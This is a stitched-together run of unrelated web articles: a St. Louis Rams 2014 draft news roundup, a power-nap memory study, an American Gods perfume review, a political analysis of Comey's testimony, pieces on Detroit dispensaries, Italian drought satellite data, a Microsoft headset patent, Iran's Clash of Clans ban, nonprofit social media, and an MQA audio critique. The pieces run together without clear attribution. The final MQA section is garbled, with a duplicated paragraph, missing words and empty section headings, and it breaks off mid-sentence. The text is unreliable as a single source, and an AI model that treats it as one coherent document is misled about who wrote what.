respect to the direction the Rams will take in the draft. The Rams could go down many different paths on draft day, and likely have a surprise or two in store. Rams agree to terms with WR Kenny Britt: St. Louis Post-Dispatch Rams taking a chance on Kenny Britt: ESPN NFC West Perhaps the Britt signing is best summed up by Nick Wagoner: "Like the rest of the Rams' free-agent moves this offseason, adding Britt is a low-risk proposition. But it's also one that shouldn't come with the great expectations that Britt's career once carried." Draft Prospects Highlight Reel: Cornerback - Darqueze Dennard - Michigan State Rams Chat Rewind: ESPN NFC West Nick Wagoner conducts his weekly question and answer period, covering a broad range of Rams-related topics. 2014 NFL Draft offensive line prospects: St. Louis Rams Official Website Which offensive lineman will have the biggest impact as a rookie: Jake Matthews, Greg Robinson, or Taylor Lewan? Should the Rams invest a first round pick on one of the three? NFL Draft Prospect Focus: National Football Post Greg Gabriel reports on a pair of offensive line prospects that could be of interest to the Rams, in the later rounds of the draft: G Jon Halapio (Florida) and OT Seantrel Henderson (Miami). Johnny Manziel's pro-day circus: NFL evaluators provide context: NFL.com Albert Breer shares reactions from NFL evaluators, after Johnny Manziel's one-of-a-kind pro day last Thursday. Manziel could end up being an integral part of the draft-day puzzle for the Rams, who are ostensibly looking to trade down the #2 selection in the NFL draft. Zac Stacy joined Kevin Wheeler to discuss the off season, especially the relief he felt when Rodger Saffold re-signed with the Rams: Stat Facts Of The Week: Points Per Play Differential Points Per Play Differential Points Per Play Differential measures a team's effectiveness at putting up points - and preventing points from being put up against them - on a per play basis. Of the 13 teams that achieved 10 wins/made the playoffs in 2013, 11 of them ranked in the top dozen of this statistical measure. The Rams ranked 16th overall, with both the offence and defence contributing equally to the differential ranking. The Rams were one of only 16 teams to have a positive differential for the 2013 season. Fisher: Nothing brewing on draft deal...yet: ESPN NFC West Will the Rams trade down the #2 overall selection in this years draft? They have indicated many times their willingness to do so, although it's unlikely any deal will be included in advance of the draft. "(We have) not really had any discussion with anybody, but that doesn’t mean to say we won’t." "But I think it’s highly unlikely that even if we did trade out that would we get the value that we did the first time around." Way-Too-Early Grade For The St. Louis Rams' Off Season: Ramblin' Fan Nathan Kearns grades all six of the Rams' free agency signings/re-signings since the beginning of the new league year on March 11. He gives the Rams a B+ grade overall. In addition to the key re-signing of Rodger Saffold, the Rams have added quality depth, while remaining fiscally responsible. 2014 NFL Draft: 5 Players Rams Should Target With The 13th Pick: Rant Sports NFL WR's Marqise Lee and Mike Evans, S Ha'Sean Clinton-Dix, OT Taylor Lewan, and LB Anthony Barr are among the many possibilities that could exist for the Rams, with their second selection in the first round. Which St. Louis Rams players need to step up in 2014?: Rant Sports NFL Patrick Karraker suggests five younger players on the Rams who will be relied upon in the 2014 season: Brandon Washington, Benny Cunningham, T.J. McDonald, Trumaine Johnson, and Brian Quick. All could play critical roles for the Rams this coming season. On This Day In Sports History 1992 - The NFL decides to stay with a 17 week schedule (16 games), instead of expanding to 18 games. 2014 NFL Draft Position Rankings: NFL.com Mike Mayock updates his positional rankings for the 2014 NFL draft. The top 5 at each position have undergone some changes since his last update, the primary change being the elevation of Johnny Manziel to the top of his QB ranking. 2014 NFL Mock Draft: Walter Football Charlie Campbell presents his updated 5 round mock draft. The Rams select LB Khalil Mack and OT Taylor Lewan in the first round, followed by S Jimmie Ward, QB A.J. McCarron, DT DaQuan Jones, and RB Kapri Bibbs. Kenny Britt joins the Rams on one-year contract: Pro Football Talk There's little not to like about the latest Rams free agent signing. A one-year "prove it" deal with only $550,000 in guaranteed money. A very low-risk, potentially high-reward signing. The only question that remains: does this signing mean the Rams will no longer consider selecting Sammy Watkins or Mike Evans in the draft? Will the St. Louis Rams draft a top outside linebacker prospect?: Cover 32 Rams I believe it's a long shot, but it's possible the Rams will select an OLB early in the draft. It's more likely the Rams will look for additional depth at the position in the later rounds. Jeff Fisher knows there's no RG3 deal to be had this year: Pro Football Talk Jeff Fisher certainly loves the depth of this draft: "This draft is unique in that I think you’re going to get players in the middle part of the third round that potentially could start, and start very early for you," Fisher said. "It really depends on the positions, but there will be a lot of teams excited about who they have acquired in the first couple rounds because it’s such a deep draft." St. Louis Rams Weekly Salary "Re-Cap" The Rams currently have $9,589,358 in available salary cap space. This total includes all transactions up to - and including - the signing of QB Shaun Hill. It also includes the $3 million roster bonus offset the Rams will receive for Cortland Finnegan, who signed with the Miami Dolphins. It doesn't include the just-signed WR Kenny Britt. The Rams will have approximately $11 million in additional operating costs throughout the remainder of the year, which has a direct impact on available salary cap space. A nostalgic look back at the Cleveland Rams versus the Chicago Bears, October 29, 1944: Four safeties that will rock the league in 2014: Football Nation Ha'Sean Clinton-Dix, Calvin Pryor, Ed Reynolds, and Deone Bucannon - my personal favourite - are all intriguing options for the Rams in the early rounds of the draft. Jeff Fisher expecting big things from Tavon Austin: NFL.com In his rookie season, Tavon Austin showed flashes of his brilliance on the field. Much more is expected of him in 2014, especially from coach Jeff Fisher: "I think another year in the program, in the offence, OTAs, training camp, you'll see more production. I think we'll do a better job of using him now that we know what he's capable of doing." 5 Players the Rams must avoid in the 2014 NFL draft: Rant Sports NFL A lot of time is spent studying prospects we would like to see join the Rams. Conversely, we rarely take in-depth looks at players we DON'T want on our team. Some names on the list may surprise you. Rams Chat Highlights: Rams News Now Highlights from Jeff Gordon's (St. Louis Post-Dispatch) weekly question and answer period. Rams take a flyer on former Florida State star: St. Louis Post-Dispatch Defensive back Greg Reid is another intriguing signing by the Rams this off season. A low-risk, potential high-reward player, who impressed the Rams at both Florida State's pro day and at a workout in St. Louis. 2014 NFL Draft position breakdown: Defensive line prospects limited: CBS Sports Pat Kirwan takes an in-depth look at defensive line prospects in the 2014 NFL Draft. A very detailed explanation of the various positions across the line. Rams must draft to fit coaching strengths: St. Louis Post-Dispatch Bernie Miklasz examines the reasons why the Rams are unlikely to select a WR in the first round of the draft. I believe the signing of Kenny Britt might make it an even more remote possibility. Timing isn't "right" for NFL return to LA: St. Louis Post-Dispatch NFL commissioner Roger Goodell quieted notions of an NFL return to LA, during the owners meetings last week: "We are going to do it right if we are going to do it. There are different proposals out there and different opportunities, but not one that we are focused on and can say that we have the right solution yet. We’re not there." Blast From The Past: Canadian Classic Rock Tuesday: April Wine - Like A Lover, Like A Song Please have a great Tuesday and a Ramtastic week!! -If you struggling to remember something, the best thing to do is to just take a quick, 45-minute nap. Power naps positively influence memory recall, according to a new study by Saarland University in Germany. The study, which was coordinated by graduate research student Sara Studte, involved examination of memory recall in 41 participants. The volunteers had to learn single words and word pairs. Once the learning phase was over, the participants were tested to determine how much information they could remember. About half of the participants were then allowed to sleep, while the others watched a DVD. After that, the participants were re-tested and those who had taken a nap were shown to have retained substantially more word pairs in memory than the participants in the control group who had watched a DVD. The results of the study have been published in the respected academic journal Neurobiology of Learning and Memory. Saarland University graduate student Sara Studte explains, "We examined a particular type of brain activity, known as 'sleep spindles,' that plays an important role in memory consolidation during sleep." She goes on to say, "A sleep spindle is a short burst of rapid oscillations in the electroencephalogram (EEG). We suspect certain types of memory content, particularly information that was previously tagged, is preferentially consolidated during this type of brain activity." Study leader Professor Alex Mecklinger also comments, "A short nap at the office or in school is enough to significantly improve learning success. Wherever people are in a learning environment, we should think seriously about the positive effects of sleep." -When I unwrapped a mysterious package from Black Phoenix Alchemy Lab, I (along with TMS staffers Keisha, Charline, and Daniella) wasn’t expecting to find 10 small bottles with intricately illustrated labels and evocative titles like “Fuck You, Said The Raven.” The Alchemists are collaborating with Neil Gaiman (and Hugo Award-winning artist Julie Dillon for the labels) on a whopping 60 separate fragrances inspired by the bestselling novel and soon-to-be TV series. Even better? Proceeds go to the Comic Book Legal Defense Fund. So if you’re in the market for perfume styled after Bast or the Buffalo Man, you’ve come to the right place. Black Phoenix Alchemy Lab “specializes in formulating body and household blends with a dark, romantic Gothic tone.” They’ve created scents that evoke everything from Crimson Peak to Sherlock Holmes, often pairing with creators like Guillermo Del Toro, the Henson Company, and Gaiman. In the last six months, they’ve “raised thousands of dollars for the ACLU, Planned Parenthood and EMILY’s List with topical fragrances such as “Nasty Woman” and “Fake News.” I never knew that perfumes could be topical or political, but this is Good Company Goals. The American Gods fragrances benefit the Comic Book Legal Defense Fund, a fantastic group that fights censorship and is dedicated to protecting the first Amendment Rights of comics professionals. Just how, you may ask, do you make a perfume that evokes the characters and concepts of American Gods? According to the Lab, “By utilizing our knowledge of homeopathy and aromatherapy, the conceptual theories of hermetic alchemy, and the aesthetic artistry of perfumery, we have mastered the art of encapsulating allegorical ideas into singular olfactory experiences.” That’s a tall order! But we think these perfumes are a nifty idea and they’ll help out a good cause. So your Mary Sue New York Coven put them to the smell test. Each scent came with a passage from the book that inspired it and a description from the perfumers. My first favorite is “Coin Trick,” which is described thus: “Glittering gold and silver, rolling over knuckles – concealed in palms – and pulled from the sun, the moon, and the stars.” Since that doesn’t exactly tell you how it might smell, we decided on light and citrus-y. Keisha called it “deceptively light … that’s the Loki scent.” Secondly, I love “Zorya Polunochnaya,” which I’ve been wearing for a few days now. “Pale amber and ambergris, gossamer vanilla, moonflower, and white tobacco petals.” Yum. Charline’s favorite was “The Blood Must Flow,” which BPAL describes as “Three days on the tree, three days in the underworld, three days to find your way back: ash, oak, and elm; vetiver, dragon’s blood resin, and cypress; frankincense, copal, and chamomile.” “I would douse my body in it,” said Charlene. “That’s how you stay young,” said Daniella. “It takes you back to the Roman Empire,” said Keisha. “The Black Hats” smelled “masculine” to us, since strong musks are usually assigned to male colognes (yes, it is a kind of wild that even perfumes have weird gendered associations that are hard to shake). “Gunpowder, patent leather, pomade, aftershave.” Well, at least we were right about the traditionally “male” products that were combined to make this scent. A similar one was, well, “The Buffalo Man.” “Eostre of the Dawn” is on the reverse of that—traditionally “feminine,” that we identified as “super flowery,” which fits with the personification of Easter and fertility. As for “Bast,” this was our take: “Like licorice.” “Dense.” “An aphrodisiac.” “It smells like feminism—intimidating.” It’s billed as, “A desert wind alight with myrrh and golden amber, cardamom and honey, bourbon vanilla and cacao.” “Glass Eye” and “Becoming Thunder” were “herby,” which I like quite a bit. Kudos to whoever writes up the perfume descriptions: “This is the scent of the absolute: this is the perfected manifestation of the absolute essence of not who you are, but what you represent to others. This is You as Symbol, your spirit separated and combined, distilled and condensed into one archetype. Skin musk and 20-year aged frankincense, a sprig of asphodel, a splash of soma, a lightning-streak of sharp ozone, a stream of ambrosia.” Black Phoenix Alchemy Labs is releasing a bunch of new scents on May 30th beyond those that already available, as well as nail polishes and atmosphere sprays to invoke the Gods into your living room. Keep in mind if you’re shopping that scent is a highly personal choice, so chances are you might adore a bottle that’s not to my taste. (But our #1s seemed to be Zorya and Coin Trick.) It’s fun to scroll through the BPAL American Gods product page and check out the thoughtful descriptions and lovely art. Plus, it’s cool to see fandom-y products combine with charitable ventures. I must admit I’m curious to try out “Media’s” fragrance: “A news anchor’s cologne, a soap star’s perfume: perfect, pixelated, and glamorous; aglow with cathodes and anodes, coated with phosphor. ‘I offered you the world,’ she said. ‘When you’re dying in a gutter, you remember that.'” Just try saying “fake news” to the Media that you’ll soon meet on Starz’ American Gods. Gillian Anderson was already a goddess, so the role isn’t much of a leap for her. In the meantime, I’ll be clinging to my favorite tiny bottles, waiting for someone to ask “What’s are you wearing?” to which I’ll respond, “The blood must flow.” [Black Phoenix Alchemy Lab American Gods] (image: Daniella Bondar) Want more stories like this? Become a subscriber and support the site! —The Mary Sue has a strict comment policy that forbids, but is not limited to, personal insults toward anyone, hate speech, and trolling.— -As is so often the case with the White House, a small victory on Monday was sidelined by an incredible crisis of the Trump administration’s own creation. A smooth start to the Senate confirmation hearing for Supreme Court nominee Neil Gorsuch should have been an easy win for Donald Trump; instead, the esteemed judge’s public debut was overshadowed by James Comey’s brutal five-hour testimony before the House Intelligence Committee, during which the F.B.I. director offered a historic rebuke of the sitting president when he confirmed the existence of an investigation into the Trump campaign’s ties to Russia and dismissed Trump’s astounding—and unsubstantiated—allegation that his predecessor had wiretapped Trump Tower. Despite the Trump team’s best efforts to spin the hearing and downplay the revelation, Comey’s testimony came as a historic blow to the two-month old administration, virtually guaranteeing that the White House would remain under suspicion and mired in scandal for well beyond its first 100 days. Comey’s bombshell testimony, which was amplified by blistering comments from National Security Agency Director Mike Rogers, forced the White House on the defensive. Republicans on the House Intelligence panel did their best to carry water for the embattled administration, grilling Comey and Rogers on the illegality of the leaks that brought details of the ongoing investigation to press. Press secretary Sean Spicer tried in earnest to control the damage by claiming, laughably, that former Trump campaign chairman Paul Manafort—who is among the people under investigation by the F.B.I.—played only a “limited role” in the campaign. He also described Mike Flynn, a top adviser to the Trump campaign who went on to serve as national security adviser before resigning, as a “volunteer.” Throughout Washington, however, there is the growing sense that the Russian scandal will not be spun away or resolved quietly. “The longer this hangs out there, the bigger the cloud,” Representative Devin Nunes, the Republican chairman of the House Intelligence Committee and a former Trump transition adviser, said Monday while questioning Comey. “If you have evidence, especially as it relates to people working in the White House or in the administration, that is information we really should know.” Like a black hole, the Russia affair is quickly growing in size and scope, consuming political capital and dragging anyone with a connection to the Trump campaign and the Kremlin into the vortex of suspicion. On Monday, months after reports first surfaced that Manafort was designated to receive $12.7 million in undisclosed payments from Ukraine’s pro-Russian party, a member of Ukraine’s parliament, Serhiy Leshchenko, leaked documents allegedly showing steps Manafort had taken to launder the money, The New York Times reports. (Manafort has continued to deny all wrongdoing.) Democrats are already agitating to subpoena more Trump associates to drag them before the House Intelligence spotlight. “We've heard from the easy witnesses, right? We’ve heard from the director and Admiral Rogers,” Rep. Eric Swalwell, a member of the committee, said Tuesday morning on MSNBC’s Morning Joe. “The harder witnesses are going to be people like Michael Flynn, Carter Page, Paul Manafort, bringing individuals in who were actually witnesses to what was going on.” Members of the Trump administration are certainly not making things easier on themselves by continuing to ignore or dismiss even the most sober, grounded concerns about Russia. Hours after Spicer tried to disappear both Manafort and Flynn from history, Reuters reported that Rex Tillerson, who has largely stayed off the radar despite his own longstanding ties to Russian President Vladimir Putin, plans to skip what would be his first NATO meeting in order to attend a meeting between President Trump and Chinese President Xi Jingping that weekend at Mar-a-Lago. Days later, the secretary of state is also scheduled to meet with Putin, fueling speculation that Trump—who has called NATO “obsolete” and sparked concerns for his effusive praise of Putin—intends continue his alignment with Russia—a curious decision given the current political climate. “It feeds this narrative that somehow the Trump administration is playing footsie with Russia,” one former U.S. official told Reuters. “You don’t want to do your early business with the world's great autocrats. You want to start with the great democracies, and NATO is the security instrument of the transatlantic group of great democracies,” he added. With Trump already battling dismal approval ratings, any appearance that the White House is cozying up to Russia amid the ongoing investigation into Trump’s Kremlin ties will only further damage public perception of his presidency. “The underlying thing is huge (potentially),” Matt Miller, who served in the Justice Department under President Obama said of the situation to Axios. “Even if the underlying thing ends up not being real, investigations can still produce leaks and charges over cover-up.” Already on Monday, there were signs that the F.B.I. investigation is taking on a life of its own. When Comey told the House Intelligence Committee that he “was not going to comment on anybody,” he thrust the entire West Wing under suspicion, one source close to the administration told Mike Allen. “You flush people out by making a comment like that. You let it sit there, then later go get everybody’s email and texts [to see how they reacted to it]. This is how you get a lot of people having to hire lawyers.” -The Washington Post has won a Gerald Loeb award for a series of stories that exposed the extent of the National Security Agency’s massive global surveillance programs. The Loeb awards, generally considered the top prize in business journalism, were announced at a dinner in New York on Tuesday night. The Post submitted five stories from its coverage of secret NSA programs, which were based on classified documents leaked by Edward Snowden, the former government contractor who is living in exile in Russia. The articles, written by Barton Gellman, Laura Poitras, Ellen Nakashima, Craig Timberg, Steven Rich and Ashkan Soltani, won in the category of large newspapers. The Loebs honored two other Post projects. “The Cost of Healing,” written by Peter Whoriskey and Dan Keating, which examined Medicare’s flawed pricing system, was named as a finalist in the explanatory category. “Tax Liens: Left With Nothing,” by Debbie Cenziper, Michael Sallah and Steven Rich, which revealed that the District was allowing companies to seize houses from distressed homeowners or charge them exorbitant fees, was a finalist in the investigative category. -DETROIT (WWJ) – One of the fastest growing businesses in the Motor City has many residents raising concerns: Medical marijuana dispensaries. “This is the next big thing in the city of Detroit,” said Councilman James Tate. “It’s quiet for folks who are not really paying attention, but everyday it seems like another business is opening up.” Tate told WWJ’s Charlie Langton the number of medical marijuana dispensaries within city limits is “staggering.” “The estimate is 180 medical marijuana dispensaries within the city of Detroit,” he said. “I’ve counted 13 in District One myself. We see some locations, certainly along 8 Mile and other border streets, where you have four, five, six kind of clustered together.” Even though state law allows registered patients to use marijuana for medical purposes, dispensaries have gone largely unregulated. “I’m for compassionate care but am also concerned about the over saturation of them,” Tate said. “These buildings, they have now just started popping up everywhere and because the state law is not clear on if they’re allowed or not, we take these businesses to court and they just get tied up and they just stay there. We have not won not one case, nothing has been shut down and that’s the reason why. Most of these businesses don’t have a permit, they have no licensing.” Aside from legal issues, Tate said he’s also concerned about community members who live near the dispensaries. “We’ve got a lot of complaints about it but some of that is emotional because they just don’t like the issue. The other part of it is people are not educated on it,” he said. “It’s not about being against it. It’s about making sure that we’re able to regulate it in a way that ensures the best quality of life for the residents who live in that area.” Tate said their hands are basically tied until lawmakers in Lansing can refine the medical marijuana law and include measures about dispensaries. “We’re trying to get state law clarified to allow us to provide the tools necessary for our law enforcement to go in and regulate those businesses,” he said. “But it’s a lot bigger than just Detroit and we’re going to need some support from around the state.” -SATELLITI E CLIMA La stagione estiva del 2017 sarà ricordata come una delle più calde e secche di sempre ed ha messo a dura prova il territorio dell’Italia, soprattutto le aree del centro-sud che per oltre tre mesi non hanno visto una goccia di pioggia. Le conseguenze di questo periodo difficile hanno tenuto banco sui media quasi ogni giorno: drastica riduzione delle riserve d’acqua, incendi boschivi e miliardi di euro di danni all’agricoltura. Per approfondire questo fenomeno estremo e comprenderne al meglio i meccanismi per il futuro, gli scienziati dell’IRPI (Istituto di Ricerca per la Protezione Idrogeologica) del CNR stanno utilizzando i dati satellitari, in particolare quelli relativi all’umidità del suolo provenienti dal Soil Moisture CCI Project dell’ESA. Questo progetto, che fa parte della Climate Change Initiative promossa dall’ente spaziale europeo, è stato ideato per fornire alla comunità scientifica che si occupa di cambiamento climatico un efficace strumento di indagine. Il database del Soil Moisture Project a breve sarà reso disponibile anche attraverso il Copernicus Climate Change Service. In base ai dati sull’umidità del suolo, i ricercatori dell’IRPI hanno constatato che in alcune zone dell’Italia centrale - come la Toscana - la siccità ha cominciato a farsi sentire già alla fine del 2016 e che nei primi sei mesi del 2017 la media delle precipitazioni si è ridotta a meno della metà, creando condizioni aride simili a quelle verificatesi nel 2007 e nel 2012. Nella foto a destra, la situazione dell'umidità del suolo in Italia ad agosto 2017 (qui in alta risoluzione). Anche altri paesi europei hanno sofferto la siccità nell’estate 2017, ma i dati relativi all’Italia centrale mostrano una situazione molto pesante per quanto riguarda i livelli di umidità del suolo. Queste informazioni vengono raccolte dai satelliti misurando le microonde rifesse o emesse dal suolo; l’intensità della misurazione dipende dalla quantità di acqua presente. I satelliti, inoltre, possono rilevare altri effetti della siccità come la variazione dei livelli dei laghi. Il lago di Bracciano (foto in alto a sinistra - qui in alta risoluzione), ad esempio, è stato monitorato dalla missione Sentinel-2 le cui immagini hanno documentato chiaramente la forte diminuzione del livello e la conseguente variazione della linea di costa. Dallo spazio e dalle attività di ricerca correlate, quindi, può derivare un valido supporto alle amministrazioni locali per il controllo dell’andamento della siccità e per approntare strumenti efficaci a combatterla. -A patent filed by Microsoft on January 30, 2012, and this week made available to the public, outlines a series of head-mounted display devices and their potential gaming applications. The filing (spotted by a NeoGAF user), dubbed "Multiplayer gaming with head-mounted display," describes "a system and related methods for inviting a potential player to participate in a multiplayer game via a user head-mounted display device…In one example, a potential player invitation program receives user voice data and determines that the user voice data is an invitation to participate in a multiplayer game. The program receives eye-tracking information, depth information, facial recognition information, potential player head-mounted display device information, and/or potential player voice data." The patent alludes to a reference design (subject to change) that may include transparent or partially transparent displays that sit in front of a user's eyes in the form of traditional glasses. The patent filing includes a range of potential device scenarios, including the use of Organic Light-Emitting Diode (OLED) displays, eye scanning, microphones, and gyroscopic and accelerometer sensors to determine user head and body positioning when worn. "The HMD device may include an eye-tracking system that utilises at least one inward-facing sensor. The inward-facing sensor may be an image sensor that is configured to acquire image data in the form of eye-tracking information from a user's eyes. Provided the user has consented to the acquisition and use of this information, the eye-tracking system may use this information to track the position and/or movement of the user's eyes. The eye-tracking system may then determine where and/or at what person or object the user is looking. In another example, the inward-facing sensor may capture retinal scan information from a user's retina. Provided the user has consented to the acquisition and use of this information, such information may be used to identify the user wearing the HMD device." Outward-facing sensors would also detect the environment of the wearer, locate users sharing the space, and track gestures performed by the wearer. Numerous mentions of "time-of-flight depth camera" systems also draw parallels with similar technology included in the updated Kinect 2.0 that will ship alongside the upcoming Xbox One console. These could be used to scan the space before determining which games may be the most appropriate for the given play space. "The HMD device may also include an optical sensor system that utilises at least one outward-facing sensor, such as an optical sensor. Outward-facing sensor may detect movements within its field of view, such as gesture-based inputs or other movements performed by a user or by a person within the field of view. Outward-facing sensor may also capture image information, such as facial recognition information, and depth information from a physical environment and real-world objects within the environment. For example, outward-facing sensor may include a depth camera, a visible light camera, an infrared light camera, and/or a position-tracking camera." The potential inclusion of three accelerometers and three gyroscopes would allow for head-positioning tracking, not unlike the technology found in the Oculus Rift. "Motion sensors may also be employed as user input devices, such that a user may interact with the HMD device via gestures of the neck and head, or even of the body." Voice controls, with a focus on natural speech, are mentioned throughout the filing. The HMD may include one or more microphones, and be used to input commands and requests, such as when instigating a multiplayer game with another user. "In other examples, audio may be presented to the user via one or more speakers on the HMD device. Such audio may include, for example, music, instructions, and/or other communication from the multiplayer game program, the potential player invitation program, or other sources." The filing also lists provisions for users to toggle the amount of personal information shared by the device with other users, from limited privacy modes showing user IDs and game achievements, all the way to exchanging personal information, such as game interests. While only a single device appears to be wearable per user, the report includes information on multiple head-mounted displays being used in conjunction with each other, either to view other matches in progress or join games with multiple participants. The technology and accompanying diagrams and descriptions in the patent share some striking similarities with images shown previously in a purportedly leaked document, prior to the Xbox One announcement. The information was later taken down at the request of Microsoft. -Iran’s Ministry of Justice is curtailing access to the wildly popular mobile game Clash of Clans, because the game is a “clear example of violence through education and the promotion of tribal war.” According to Iranian media, a majority of members of the Committee for Determining Instances of Criminal Content recommended the game be blocked after receiving a report from psychologists that claimed the game promotes violence, tribal war, and is extremely addictive, among other issues. The game was found to be especially harmful to Iranian youth. According to human rights organization Freedom House, the Committee for Determining Instances of Criminal Content “is empowered to identify sites that carry forbidden content and report such information” to internet service providers to block. معاون قضایی دادستان کل کشور: اکثریت قریب به اتفاق اعضای کارگروه تعیین مصادیق با اعمال محدودیت برای دسترسی به بازی @ClashofClans موافقت کردند pic.twitter.com/wG1jAsg5sP — روزنامه ایران (@IranNewspaper) December 27, 2016 Translation: The Deputy Attorney General: The vast majority of the members of the working group agreed to limit access to the game @ClashofClans Technology news platform VentureBeat carried out a survey earlier this year and found that 64 percent of mobile gamers in Iran play Clash of Clans. This is not the first popular mobile game Iran has banned. The country decided to block access to Pokémon Go in August over concerns about the game’s use of location-based technology. -Beth Kanter, author of Beth's Blog, is the 2009 Scholar in Residence at the Packard Foundation and was named one of Business Week's "Voices of Innovation for Social Media." When I started my blog in 2003, only a handful of nonprofit techies were experimenting with the social media. As Marnie Webb from TechSoup Global recalls, "The throw away line was social media wasn't for organizations but people who wanted to share what their cats ate for breakfast." Six years later, the landscape has changed. Organizations are flocking to the social web, although most in the last two years. Non-profit organizations that have embraced social media with a "listen, fail informatively, and evolve approach" are seeing results. Social media is beginning to transform non-profits both in the way they work as well as their relationships with constituents. 1. Deepening relationships and Engagement Over the past five years, The March of Dimes has used social media to nurture its online community, Share Your Story. It is one of the better examples of how non-profits can use social media to empower supporters without having to control it. A few weeks ago, the March of Dimes supporters came out in droves for a networked memorial service for a toddler named Maddie. The community raised tens of thousands of dollars for the March of Dimes in Maddie's memory as well as covering the funeral costs for the family. The organization did little to stage this event. The March of Dimes has embraced openness and inspired their stakeholders to feel empowered enough to take action on their own. 2. Individuals & small groups are self-organizing around non-profit causes Social media is enabling individuals to create, join, and grow groups around issues they care about outside of the direct control of a non-profit. Whether flash activists or fundraising events like Twestival, activities like these are on the rise. Social software design is also helping accelerate this trend. Look no further than the Facebook Causes Birthday application that encourages an individual who is a member of a Cause to use their birthday as an excuse to raise money for a non-profit organization. DonorsChoose recently launched a similar feature called “Birthday Give Back," with Stephen Colbert leading the charge. And keep an eye out for more social apps with a conscience that will offer even more creative ways for supporters to self-organize and take action around causes. As non-profits begin to engage their own communities in these online conversations, they are able to reach more people than ever before, and using less effort doing so. As Maddie Grant, a partner at SocialFish, observes, “We can all be change agents and that has to be good for the entire non-profit industry, as long as organizations adapt to this new way of being part of a two-way conversation and groundswell of social responsibility." 3. Facilitating collaboration and crowdsourcing The social web lets people who work in non-profit organizations connect and collaborate informally across institutional boundaries quickly and inexpensively. Non-profit organizations are also collaborating with their supporters by crowdsourcing ideas, feedback, and content for programs. Lights, Camera Action, Help Film Festival, which was created to promote the idea of films-for-a-cause, was a collaboration that happened across different non-profits by individuals connecting on the social web. Another example is WeAreMedia, a wiki project where over 100 non-profit technology professionals have pooled knowledge resources and developed training materials to help non-profits learn how to use social media effectively. The initial content was facilitated through discussions on blogs, Twitter, and Facebook. Now, presentations are being remixed and delivered as trainings to non-profits at conferences and workshops across the country. An interesting example of crowdsourcing by a nonprofit comes from Michael Tilson Thomas, artistic director of the San Francisco Symphony with the recent performance of the YouTube Symphony Orchestra. The performers were selected from thousands of video auditions from around the globe. The finalists were winnowed down by a jury of professional musicians, not unlike a traditional audition, but the winners were crowdsourced by YouTube users via online voting. The resulting "mashed up" symphony orchestra, had more than 90 players representing over 30 countries. 4. Social change behind the firewall We know that for many non-profits, adopting social media requires a culture shift before it can be successful. And, while that is certainly true for a lot of organizations, a number have been effective in introducing social media to help change the culture, flatten hierarchical structures, speed decision-making, improve programs and services. The American Red Cross has been an early adopter of social media, beginning with listening strategies in 2006. According to Social Media Strategist Wendy Harman the intent was to “prevent people from saying nasty things about the Red Cross on the Web.” As they discovered in their organizational listening efforts, there were some vocal critics, but most mentions were enthusiastic and supportive of the Red Cross. Harman has documented many different stories and shared these internally. Through listening the organization has come to view social media listening as a valuable market research channel and has even changed some social media skeptics to supporters. Danielle Brigidia, who is responsible for social media strategy for National Wild Life Federation, says "Internally, we have started to focus on cross-promoting our ideas and programs more thanks to social media tools like Yammer (internal Twitter)." Carrie Lewis, social networking strategist for the Humane Society of the US, observes how their Internet is now working differently. “We have daily 9 minute meetings. Short meetings have helped them be more efficient and effective with every aspect of social media campaigns.” Conclusion We’re just at the beginning of seeing how social media is impacting how non-profits engage with their supporters and do their work. As more and more non-profits adopt social media and their practice improves over time, we will no doubt see a transformation of the non-profit sector. More charitable social media resources from Mashable Image courtesy of iStockphoto, JamesBrey -Part I: Intro / Rationale Stuart says that with the development of MQA, listeners can experience their digital audio content at the same quality levels as the professional recording industry. “Music lovers need no longer be shortchanged; finally we can all hear exactly what the musicians recorded,” he explains.“MQA gives a clear, accurate and authentic path from the recording studio all the way to any listening environment—at home, in the car or on the go. And we didn’t sacrifice convenience.” 1. The MQA syntax supports a hierarchy of authentication keys using strong encryption. The encryption protects the encoding/decoding instructions, various metadata and verification of both lossless digital transmission from studio to decoder and 'beyond digital lossless', it authenticates the analogue-to-analogue path -- which is a major step forward in sound quality. The MQA authentication ‘light’ indicates Provenance in the source for the file. The MQA display indicates that the unit is decoding and playing an MQA stream or file and denotes provenance that the sound is identical to that of the source material. MQA Studio indicates it is playing a file which has either been approved in the studio by the artist/producer or has been verified by the copyright owner. And more recently here's a January 2017 video about MQA with various engineers that seem to be hyping this whole "assurance" and "authenticated" bit. For example, what does Morten Lindberg mean by "we have an assurance of how it's going to play back on the other end - that's something we haven't had before": I added the bold highlights. These are just three examples of the wording being used by MQA/Bob Stuart to suggest that somehow the MQA process retains the "sound" of the studio production. As if there is something special in these MQA files beyond what a standard HDtracks high-resolution download would be able to convey for example. Notice again the careful wording used. And more recently here's a January 2017 video about MQA with various engineers that seem to be hyping this whole "assurance" and "authenticated" bit. For example, what does Morten Lindberg mean by "we have anon the other end - that's":I added the bold highlights. These are just three examples of the wording being used by MQA/Bob Stuart to suggest that somehow the MQA process retains the "sound" of the studio production. As if there is something special in these MQA files beyond what a standard HDtracks high-resolution download would be able to convey for example. Notice again the careful wording used. The word authentication basically means "the process or action of proving or showing something to be true, genuine, or valid" - nothing more. In this regard, the little "light" on an MQA DAC would do the job and may be all that Stuart's talking about (whoopee do!). It's not hard to imagine how this is done of course - embed some MQA data in the stream and the firmware detects it. Perhaps something like a CRC may be embedded every so often to make sure the data isn't corrupt and the indicator light will go off or blink perhaps with each instance of corruption. The words Stuart chooses coyly hints at another meaning; the idea that MQA authentication can perhaps bring the studio sound home when you play an MQA-encoded track. Perhaps hinting that somehow the technology is capable of making DACs sound closer to some kind of studio sonic standard. How are we supposed to interpret "which is a major step forward in sound quality"? Is there any evidence to this? When they speak of "end-to-end technology" ("analogue-to-analogue path"), is there some actual retained "authentic" sound that's different than say an equivalent HDtrack file's playback using that DAC? One way to test this hypothesis is to check what happens to the sound coming out of two MQA-certified DAC devices. Is there any evidence that MQA processing with its claimed benefits (time domain accuracy, "better" filtering algorithm catering to the DAC, "accurate and authentic path", etc.) will result in sonic output more similar than just the DACs playing the same HDtracks tune? The idea being that if MQA processing makes the DACs sound more alike, then there's actually something being done to standardize the analogue output which ostensibly is a reflection of the "studio sound" or even the sound of the "original performance" when they say stuff like this on their website: Part II: The Test Part III: Conclusion --------------------------------- You've probably heard or read the catch phrases from MQA over the years. "Revolutionary", "TAKE ME THERE"... "To the original performance..." Or how about using phrases like "end-to-end technology"?As I have said over the last few months, I don'ttalking about MQA based on my general impression of what they're trying to do and the way they try to convey supposed "value" to the audiophile world through their advertisements and sponsored articles in the audiophile press. Nonetheless, sometimes it's justto comment and more importantly to put some of the rhetoric to the test. There appears to be a remarkable schism 